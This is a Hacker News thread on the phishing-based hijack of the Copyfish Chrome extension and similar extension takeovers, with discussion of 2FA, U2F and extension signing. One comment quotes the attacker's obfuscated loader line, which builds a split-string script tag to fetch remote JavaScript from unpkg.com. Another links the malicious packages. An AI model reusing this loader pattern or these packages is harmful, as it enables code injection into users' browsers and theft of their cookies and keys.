18 ms·
Our Copyfish extension was stolen and adware-infested
- sgroppino 9y agoI'd have though that two-factor authentication could have prevented this type of attack?
- zootboy 9y agoNot if the phising site asks for the 2FA token.
- userbinator 9y agoThe point of 2FA is challenge-response and the secret key is in the token. If a phishing site asks for 2FA it can get only one valid challenge-response pair, not the secret key.
- deleted 9y ago[deleted]
- joshuamorton 9y agoThat still allows them to log in though.
- Gaelan 9y agoOne login is enough to authorize an Oauth app.
- ReverseCold 9y agoRequire second login to transfer chrome apps to alternate account + 24 hour timer on transfer that sends an email to recovery email/everyone else relevant when extension is transferring.
- Buge 9y agoSMS and TOTP (Google Authenticator) can both be phished. U2F cannot be phished.
- giovannibajo1 9y agoOnly with U2F, because the hardware dongle would refuse to provide the OTP to a different domain
- devrandomguy 9y agoYeah, we really need to distinguish between a 2FA app and a dedicated hardware key. My phone is probably the least secure thing I've ever owned, both in terms of technical security, and physical security. This whole 2FA thing has been really jarring for me, because I always treated my phone like a public space: no password, no private data (that I know of), ready for inspection by foreign authorities. Of all the things the world could ask me to trust, why the phone?
- Buge 9y agoEven a dedicated hardware key that generates an OTP[1] can still be phished. Only U2F cannot be phished. [1] https://en.wikipedia.org/wiki/Security_token#/media/File:CryptoCard_two_factor.jpg https://en.wikipedia.org/wiki/Security_token#/media/File:Cry...
- TeMPOraL 9y ago> Of all the things the world could ask me to trust, why the phone? Because it's the only instance of a computer that you can expect majority of users to own and always have on them. 2FA as a thing would not get any reasonable adoption if you required people to buy hardware keys to use it. Not to mention, hardware keys do not work on every device one would like to log in from (AFAIK you can't plug in a Yubikey to an Android tablet, and it may not have NFC built in).
- deleted 9y ago[deleted]
- mschuster91 9y ago> AFAIK you can't plug in a Yubikey to an Android tablet, and it may not have NFC built in Using an USB OTG adapter, it should be possible. However, even the flagship tablets of Samsung don't carry NFC, only the phones do - and even there it's a hit and miss if you have NFC. Apple, on the other hand, doesn't have developer-accessible NFC anywhere. This is a real shame.
- CM30 9y agoIt could, and the plugin creators regret not having it active for everyone's account: > Sigh... totally agree. I could add a longer story why just this account had no 2FA enabled, but the lesson learned is simple: From now on, we enable 2FA for every account that offers it. So they won't make this mistake again.
- sgroppino 9y agoThanks - saw it now in the comments.
- userbinator 9y agoThe somewhat obfuscated JS downloaded from unpkg.com has what appears to be a Google Analytics ID in it: UA-103045553-1. I'm not sure if that can help trace the origin.
- ivanbakel 9y agoGood reminder that you should never be in the mindset of "expecting" a phish from any source - trust is how they get you. Also, if a message was really urgent, you wouldn't have to click-through to see it.
- gruez 9y ago>Also, if a message was really urgent, you wouldn't have to click-through to see it. i don't get that logic. what's the difference between Your adwords account was suspended due to suspected click fraud. [bunch of made up plausible reasons]. you may appeal by going to your adwords control panel [phising link here] and Your adwords account was suspended. click here to see why [phising link here]. in both cases you'd be pretty tempted to click the link.
- sillysaurus3 9y agoI think I'm misreading your comment, but the best defense against phishing is to always be expecting a phishing attack from every source. Every time you're about to paste your password, glance at the url bar.
- function_seven 9y agoI read it as, “you should never be in the mindset of ‘expecting’ a phish from any [specific] source.” I think OP agrees with you.
- pfg 9y agoPassword managers with browser extensions are a good fix for this too. If you're used to entering your password only through the extension, not being able to do that on a login screen would be a big warning sign. Admittedly, these extensions have had some vulnerabilities in the past, but phishing is simply a bigger problem for the vast majority of users. Obviously, for sites that support U2F (like Google), getting a YubiKey or any other U2F-compatible key would be the best protection against this.
- tfigment 9y ago
- IncRnd 9y ago> “Click here to read more details” the email said. The click opened the “Google” password dialog, and the unlucky team member entered the password for our developer account. This looked all legit to the team member, so we did not notice the pishing attack as such at this point. Pishing for Chrome extensions was simply not on our radar screen. First, it is excellent that you disclosed the issue. Second, based upon the quoted text you really aren't accepting responsibility for having been phished. The team member wasn't "unlucky." Your "radar" shouldn't trick you into thinking you won't be attacked.
- deleted 9y ago[deleted]
- Pxtl 9y agoWhile I normally agree, I think it's important that they referred to the specific person without using blaming language. The team failed and screwed up because they had bad policies with their account. The individual team member who was holding the keys when the screw-up happened? Unlucky. Fix the process, not the people. It's good that they're not throwing the poor person under the bus.
- hartator 9y agoI don't think more policies will make a better place. One of the team member screw up and stuff like this happen. I am questioning his security education to have been phished so easily.
- sillysaurus3 9y agoIt's counter intuitive. I bet you $5 that if I target you, and you're not expecting it, I can phish you. I've seen this happen in the field, and it doesn't have much to do with education. Relax for an instant and I have you. The only real defense is to glance at the url bar every time you're about to enter your password. And even I find myself not doing that 100% of the time. It's a numbers game. A policy of popping up a popup "glance at url bar" every time you copy your password from your password manager (which you're using, right?) would go a long way.
- staticautomatic 9y agoOf course it's a phishing attack. Why would Google send you a bit.ly link to your own Google account?
- alecthomas 9y ago"Note that the bitly link was not directly visible in the phishing email, as it was an HTML-email. That is another lesson learned: Back to standard, text-based email as the default."
- BenjiWiebe 9y agoI always look at the mouse over url. And check the URL in the address bar. And rely on the password manager in the browser. And sometimes login in a new tab, then go back and reload the link.
- joshschreuder 9y agobit.ly addresses don't keep their URL in the address bar (Eg. http://bit.ly/19y8wyr http://bit.ly/19y8wyr for HN), so it's possible you might not notice it once you've clicked, depending on how realistic the malicious target URL was.
- kijin 9y agoPassword managers really help in that situation. They will refuse to autofill your Google password if you're redirected to a domain that looks like google.com but actually contains weird Unicode characters, for example.
- 4ad 9y agoA pity some browsers now hide the mouse over URL. I use this in safari to bring it back: https://visnup.github.io/Minimal-Status-Bar/ https://visnup.github.io/Minimal-Status-Bar/
- 9y ago
- nvr219 9y agoAlways do a 2fa
- tedunangst 9y agoSomething to be said about auto updating software...
- Endy 9y agoWhile I understand how some people can take this as a cautionary tale in favor of 2FA, as someone who doesn't like it and won't use it, I guess my mindset is very simple. There's the old saw that over time, computing has evolved from smart people in front of dumb terminals into dumb people in front of "smart" terminals. This attack is proof of it; and while 2FA might have had an impact, the major issue here is that we had a dumb person - this "unlucky" team member - who either didn't have the training or the common sense to understand that if you have a public presence on the Internet, you are a target. If you have auto-updating software installed on more than 1 machine, you are going to be someone's target because they want access to that person's computer. The lesson here is: never trust anyone or anything.
- driverdan 9y ago> The lesson here is: never trust anyone or anything. Which is why you should use 2FA and why you shouldn't trust someone who says they don't use it.
- Endy 9y agoI don't trust any of the 2FA providers. And I have neither the time nor the interest to try and learn to code it in binary.
- cyphar 9y agoTOTP is a specification and there are many free software implementations. U2F is also a specification (but generally they aren't free software implementations).
- Endy 9y agoAgain - I don't trust the people who created the specifications; and I don't trust either the free implementors or the non-free ones, though my inclination would be to go with non-free if I were forced. As it is, I simply don't use services that rely on them.
- 9y ago
- timdorr 9y agoLooks like they are using unpkg.com and npm to distribute the badware: https://unpkg.com/copyfish-npm-2-8-5@1.0.1501416918/ https://unpkg.com/copyfish-npm-2-8-5@1.0.1501416918/ https://www.npmjs.com/package/copyfish-npm-2-8-5 https://www.npmjs.com/package/copyfish-npm-2-8-5 I reached out to both services to have it shut down. Hopefully that will at least kill it temporarily.
- joshschreuder 9y agoUnpkg has a blacklist, so you can put up a PR if you know the package IDs. https://github.com/unpkg/unpkg.com/commit/ac09a03c75a51997b909a63546f9773ca9aeb837 https://github.com/unpkg/unpkg.com/commit/ac09a03c75a51997b9... A similar thing happened with another Chrome extension Social Fixer about a month ago. EDIT: It's already been blocked, nice work @mjackson https://github.com/unpkg/unpkg-website/commit/7d4a4ba4958c16d1b8d57876bc8931b7b8364d5e https://github.com/unpkg/unpkg-website/commit/7d4a4ba4958c16...
- cgb223 9y agoCan someone explain to me why the attacker wrote the script source tag as "var config_fragment = '<sc' + 'ript sr' + 'c="ht'+ 'tps://un' + 'p' + 'kg.com/' + hash + '/' + hour + '.js"></sc ' + 'ript>';" Instead of just: var config_fragment = '<script src="https://unpkg.com/' + hash + '/' + hour + '.js"></script>';
- aurelianito 9y agoTo make it mor difficult to analyze the script. A simple string search will fail to catch the offending code.
- anonred 9y agoIt’s usually done to prevent the parser from interpreting the closing script tag early: https://stackoverflow.com/questions/236073/why-split-the-script-tag-when-writing-it-with-document-write https://stackoverflow.com/questions/236073/why-split-the-scr...
- limeblack 9y agoIf this is truly the reason the coder went overboard in parsing it up IMO.
- deleted 9y ago[deleted]
- joshschreuder 9y agoA similar attack happened on another Chrome extension last month (Social Fixer) with over 190k installs. In fact, judging by the exploit code, I would guess the same author, as the Social Fixer attack had a very similar hashed package on Unpkg as well. In that scenario the author also didn't have 2FA enabled: https://www.facebook.com/socialfixer/posts/10155117415829342 https://www.facebook.com/socialfixer/posts/10155117415829342 I feel like Google should take the next step of requiring all extension developers to enable 2FA before being able to post an extension.
- deleted 9y ago[deleted]
- andmalc 9y ago> Google should take the next step of requiring all extension developers to enable 2FA before being able to post an extension. Best comment here
- pbhjpbhj 9y agoWhich would allow real world identity to be discovered, in the event of malware is there a possibility of prosecution eg for something related to recklessly causing damage (through inaction/action)?
- flyGuyOnTheSly 9y agoThis is the second extension that I use on chrome that has been hijacked. The first was live http headers [0] I have never had this experience on Firefox. Is it simply a matter of Chrome being a bigger target? [0] https://www.webmasterworld.com/webmaster/4829365.htm https://www.webmasterworld.com/webmaster/4829365.htm
- Buge 9y agoThe Great Suspender Chrome extension was also phished https://github.com/deanoemcke/thegreatsuspender/issues/512 https://github.com/deanoemcke/thegreatsuspender/issues/512
- zootam 9y agobut apparently non-maliciously
- Buge 9y agoWhat do you mean? I thought the attacker stole the account maliciously, but hadn't quite gotten around to inserting the malware by the time it was taken back.
- flyGuyOnTheSly 9y agoThe live http headers hacking was quite embarrassing for myself personally. I had strong suspicions that a certain webhost a new client of mine utilized was both prone to attack, and not very forthcoming when past attacks had occurred. So when I loaded their own website one day and found it full of ads for russian pornography... I confirmed my own bias that the webhost had been hacked... deleted the account, and moved everything over to AWS. Changed all the passwords, freaked out a bit, etc... Then I realized that it was just the extension I was running that injected those ads... d'oh!
- steel88 9y agoTypewriter sounds , Twitch window which always on top , one of the Youtube UI upgrade extension, but in this case author simply sell extensions to malicious company
- shawn-butler 9y ago>> We are trying to contact Google, but so far, have been unable to reach any human being that can help. So typical, unfortunately.
- bjornstar 9y agoI've gotten this phishing e-mail 3 times over the past month or so. The first time I almost fell for it. Looking at the attacker's code, they are currently trying to steal cloudflare api keys in addition to stealing cookies from all sites the extension users visit :(
- jeswin 9y agoChrome's security policy is surprisingly poor and is the reason why I stay away from most extensions. "Read data from all websites" is like root on the phone. It should be allowed only via deliberate, explicit user action. While this will be an interesting UX challenge, defaulting to domain-specific permissions is the sane thing to do in this age. Case in point, I don't care about a readability or bookmarking plugin reading a news link, but it shouldn't read my bank page.
- Buge 9y agoIsn't installing an extension a "deliberate, explicit user action"?
- stordoff 9y agoMore or less why I run a fairly minimal set of extensions. I was looking for a bulk downlowned about a week ago, and the only ones I found requested "Read data from all websites", which is a lot of trust to put in something I have limited ability to test/know if it is malicious. Side note: Chrome appears to have moved Extensions out of Settings since I last looked, and the "search settings" bar doesn't bring it up either. Took me a few minutes to find how to get to them.
- alphapapa 9y ago> I was looking for a bulk downlowned about a week ago, and the only ones I found requested "Read data from all websites", which is a lot of trust to put in something I have limited ability to test/know if it is malicious. AIUI that's a consequence of the Chrome extension security model. How could a bulk-downloader extension download files from arbitrary web sites without "Read[ing] data from all websites"? Compare that to Firefox's model (at least, the old XUL model), where every extension essentially runs as the Firefox equivalent of "root". But by making nearly every extension sound evil, even the ones that aren't, users get used to accepting every permission request, or not installing any extensions at all. IMO the danger is worse with Chrome. At least with Firefox, you know that every extension can potentially be malicious. With Chrome, what happens is, you install an extension that has nice-sounding permissions. Then 3 months later, it gets sold to an ad/malware company, they push out a new version that reports every URL you visit to their server, and you see a popup saying that some extension needs more permissions. Maybe you notice it, maybe you think nothing of it--or maybe the browser window steals focus while you're typing and the OK button gets pressed without your even realizing it.
- adam_seeliger 9y agoMorons.
- logicallee 9y agoWe should never have to read a title "disable immediately" by a developer. In a news article. That is not how this should be distributed, in case the original developer is the one distributing the news. Instead, Google should generate an emergency disable code that a developer can put into a simple web form from anywhere in the world, even if the developer has been locked out of every one of their accounts, which immediately centrally disables that extension. How it should work. Parts. 1. "revocation code generation" and explanation. Text like: "this is a secret revocation code. Anyone who learns it can immediately disable your extension. Keep it secure and separate from all of your production systems. You will be able to use it even if locked out of all other acccess." 2. A web form people can submit revocation codes to, from anywhere with Internet access. The code should be very high-entropy and generated by Google. However, it should not have ambiguous characters like 1 and capital I. I personally would generate it using a dicewords-like wordlist. Also, I personally would ensure it had approximately 384 bits of total entropy of which one third is a recovery checksum. This enables the developer to write many words down wrong and still be able to disable their extension. In case the recovery record/checksum portion were used, I would offer the user the result "You appeared to have made a mistake which we could correct. Is this the correct disable key?" then show the corrected version. However, this last idea seems to be beyond the state of cryptography worldwide (i.e. for some reason I have written something that exceeds best practices worldwide, like I'm from the future or something), so I understand if Google's cryptographers don't implement this part. The above seems a bit grandiose of me so here is the comment where I first wrote about this: https://news.ycombinator.com/item?id=14571414 https://news.ycombinator.com/item?id=14571414
- Animats 9y agoWe should never have to read a title "disable immediately" by a developer. In a news article. If you want to change that, start contacting reporters from mainstream media. If this hits the New York Times or the Wall Street Journal, or at least Techdirt, Google might notice.
- logicallee 9y agoGoogle is staffed by geniuses who also read HN and I feel it is sufficient that I suggested one possible correct solution here on HN. I am sure they'll introduce some solution to this problems. (I mean some way for them to disable compromised extensions centrally.) I am not personally an extension developer and don't run many.
- krackers 9y agoI guess this is as good a place as any to post that I noticed something similar had happened to [User-Agent Switcher for Google Chrome](https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake?hl=en https://chrome.google.com/webstore/detail/user-agent-switche...) and [Block Site](https://chrome.google.com/webstore/detail/block-site/eiimnmioipafcokbfikbljfdeojpcgbh?hl=en https://chrome.google.com/webstore/detail/block-site/eiimnmi...). The "report abuse" link on the page is useless. The former is very insidious in that it actually hides the malware in a .jpg file that appears benign at first (promo.jpg for anyone who wants to analyze) but when loaded in a canvas element and decoded in some manner yields js that goes on to send all the user's http requests to some domain while also injecting ads and redirecting to affiliate links.
- i_am_nomad 9y agoThat is some fine detective work there, Lieutenant! :) What tipped you off in the first place to the malware in User-Agent Switcher?
- krackers 9y agoThe odd post requests I noticed to uaswitcher.org in wireshark while I was trying to create a packet capture. I saw that it contained my browsing history urls in double encoded base64 format. Interestingly it appears the extension was infected ~4 years back, taken down, and somehow later re-added, only to be reinfested with malware within the last few months. Suffice to say, I am now paranoid and have audited all my extensions, tossed out everything with obfuscated js, and run all my extensions in developer mode so I can be sure they never update without my consent.
- kyle-rb 9y ago> urls in double encoded base64 format I've seen that somewhere else; is it just for obfuscation? Or is there some other reason for it?
- 9y ago
- interfixus 9y agotl;dr: A member of the development team thought it unexceptional and credible that Google should be using a clickable bit.ly url in an unsolicited email asking for login and update. The world is an uphill kind of place.
- _Codemonkeyism 9y ago"This looked all legit to the team member" sure the team member checked the URL of the password screen? Yes, and Google using Freshdesk.
- sunnyps 9y agoPlease use Google's "Password Alert" Chrome extension to protect your Google account. It will notify you if you accidentally enter your Google password on another website.
- Cthulhu_ 9y agoNo 2FA? No additional password / 2FA challenge when a big, dangerous operation like moving an extension to another account is triggered?
- sneak 9y agoTLDR: Use FIDO hardware 2FA. The tokens are $15. No excuses.
- tarosnow 9y agoYou can use the Chrome Apps & Extensions Developer Tools[1] to monitor the activity of your apps and extensions. [1]: https://chrome.google.com/webstore/detail/chrome-apps-extensions-de/ohmmkhmmmpcnpikjeljgnaoabkaalbgc https://chrome.google.com/webstore/detail/chrome-apps-extens...
- busterarm 9y agoIt's a bad weekend for Chrome Extensions, it seems. https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Tomer-Cohen-Game-Of-Chromes-Owning-The-Web-With-Zombie-Chrome-Extensions-WP.pdf https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20pre...
- Rainymood 9y ago(In the article "phishing" is consistently misspelled as "pishing".)
- IncRnd 9y agoPerhaps the author of the page really isn't the author of Copyfish, and they phished us all with a page about getting phished.
- jwilk 9y ago> Back to standard, text-based email as the default. Yeah, but what will you do when your receive an HTML-only mail, or a mail with text/plain alternative saying "lol, get a better MUA", or a mail with text/plain alternative so mangled it can't be read without making your brain hurt? All these are common occurrences in automatically sent e-mails these days.
- thadk 9y agoFYI, This "Better History" extension in Chrome has a history of selling browser history since it was sold by its developer: https://chrome.google.com/webstore/detail/better-history/obciceimmggglbmelaidpjlmodcebijb?hl=en https://chrome.google.com/webstore/detail/better-history/obc... They frequently remove it from the store when people notice and restore it a or so month later. The comments over the past year or so detail the symptoms of spyware. The "Report Abuse" button in Chrome Store feels useless.
- mikegerwitz 9y agoThis is why it is important to cryptographically sign releases. Browsers are a huge problem with this. All of the software I use is signed at some point in the chain (be it by the actual author or by the package manager, who'd better be verifying signatures if they're available, otherwise at least not blindly updating), _except for my browser extensions_. Most of it is also _reproducible_! I can get around this for some things---I use GNU Guix in addition to Debian, and they package some extensions. I need to start using them. Of course, the signature should really come from the actual author, not the package maintainer for a particular distro; there's room for error. In the case of a project being hijacked (e.g. Copyfish), hopefully a maintainer would notice. Git commit and tag signing is an easy way to do this if you don't separately sign releases; package maintainers should be building from source. In the case of Copyfish: if the browser validated signatures from the authors, then this would have been thwarted. (Maybe there is some code signing protections in place? I'm not an extension developer for either Chromium or Firefox; please let me know if something does exist!)
- macNchz 9y agoMy understanding is that Chrome extensions are indeed signed and you can't upload updates without signing the new package with the same key, so presumably the attacker had access to the private key after phishing the Google password. Perhaps it was stored somewhere accessible by that account? Or accidentally packaged with the extension itself? If that were the case the spear phishing attack would make sense: someone scraping the Chrome store for extensions that contain a key file, then phishing their developer account credentials would be more efficient than phishing credentials without knowing beforehand whether you'd be able to get the private key and update the extension. https://developer.chrome.com/extensions/packaging https://developer.chrome.com/extensions/packaging
- mikegerwitz 9y agoThanks. What's concerning to me is the section entitled "Uploading a previously packaged extension to the Chrome Web Store", which asks the user to place the private key into the package's root and include it in a zip. First: why? Why upload the private key? That leaks it to Google and on top of that stores it in multiple places; the user could forget to delete the zip (and do so securely), for example. And the private key in the root is probably a copy, so that has to be shreded too. For updating the package, you select the project root as well. If you didn't remove your private key before doing so, I'm assuming you'd be releasing your key?
- gargravarr 9y agoSpear phishing is remarkably effective, even against tech-savvy people. One of the most alarming aspects is that we've become trained to click links in emails as soon as we see some trustworthy indication, be it something we were expecting, a spoofed sender or copying Google's layout, further re-enforced by an accurate login page clone. I think the best defence here is to condition ourselves out of this behaviour. If you receive a link in an email, don't click it - view the source or paste it into a text document and examine it. And if you aren't expecting an email, such as Google emailing out of the blue, go to the known-trusted site and see if there's any pending notifications. Seems we need to stop trusting email.
- yrro 9y agoDebian patched the Chromium browser to refuse to install or update add-ons from the Chrome store. At first I found this annoying, but I am coming around to their way of thinking--that ultimately I can only trust software in the Debian archive.